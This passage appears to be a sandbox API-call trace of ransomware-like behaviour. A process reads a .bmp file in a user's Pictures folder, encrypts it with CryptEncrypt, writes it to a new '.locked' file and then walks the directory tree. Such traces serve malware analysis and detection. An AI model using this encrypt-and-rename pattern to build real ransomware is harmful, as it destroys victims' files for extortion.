Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.908] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.908] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.908] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp")) returned 0x20 [0134.908] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp")) returned 0x20 [0134.909] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.909] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.909] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.909] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.909] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.909] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.909] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.909] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.909] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.909] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.909] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.910] GetFileType (hFile=0x858) returned 0x1 [0134.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.910] GetFileType (hFile=0x858) returned 0x1 [0134.910] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.910] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.910] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.910] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.910] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.910] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked", lpFilePart=0x0) returned 0x65 [0134.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.910] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.912] GetFileType (hFile=0x874) returned 0x1 [0134.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.912] GetFileType (hFile=0x874) returned 0x1 [0134.912] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.913] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6af903c | out: pbBuffer=0x6af903c) returned 1 [0134.913] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.913] CryptDuplicateKey (in: hKey=0x8e84ff8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84c38) returned 1 [0134.913] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.913] CryptSetKeyParam (hKey=0x8e84c38, dwParam=0x4, pbData=0x6afa2f8*=0x1, dwFlags=0x0) returned 1 [0134.913] CryptSetKeyParam (hKey=0x8e84c38, dwParam=0x1, pbData=0x6afa2c4, dwFlags=0x0) returned 1 [0134.913] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf480\x437\x242") returned 0x0 [0134.913] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.913] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.913] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.913] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.914] ReadFile (in: hFile=0x858, lpBuffer=0x6afd854, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6afd854*, lpNumberOfBytesRead=0x99ae7a8*=0x13016, lpOverlapped=0x0) returned 1 [0134.914] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b11860*, pdwDataLen=0x99ae79c*=0x13010, dwBufLen=0x13010 | out: pbData=0x6b11860*, pdwDataLen=0x99ae79c*=0x13010) returned 1 [0134.914] WriteFile (in: hFile=0x874, lpBuffer=0x6af90fc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6af90fc*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.915] WriteFile (in: hFile=0x874, lpBuffer=0x6b1284c*, nNumberOfBytesToWrite=0x12024, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b1284c*, lpNumberOfBytesWritten=0x99ae780*=0x12024, lpOverlapped=0x0) returned 1 [0134.916] ReadFile (in: hFile=0x858, lpBuffer=0x6afd854, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6afd854*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.916] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b24894*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b24894*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.916] CryptEncrypt (in: hKey=0x8e84c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b248c8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b248c8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.916] WriteFile (in: hFile=0x874, lpBuffer=0x6af90fc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6af90fc*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.916] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.916] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.916] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.916] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.916] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.919] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\fa3z5avrpn.bmp")) returned 0x20 [0134.919] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\Fa3z5avrpn.bmp", lpFilePart=0x0) returned 0x5e [0134.919] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.919] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.920] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.920] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.920] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.920] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.920] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.920] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.920] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.920] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.920] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.920] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.920] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0134.920] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0134.920] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0134.920] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0134.920] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0134.920] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0134.921] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0134.921] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0134.921] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0134.921] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0134.921] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0134.921] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0134.921] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0134.921] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0134.921] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0134.921] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0134.921] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp")) returned 0x10 [0134.921] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp")) returned 0x10 [0134.921] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP", lpFilePart=0x0) returned 0x4f [0134.921] GetFullPathNameW (in: 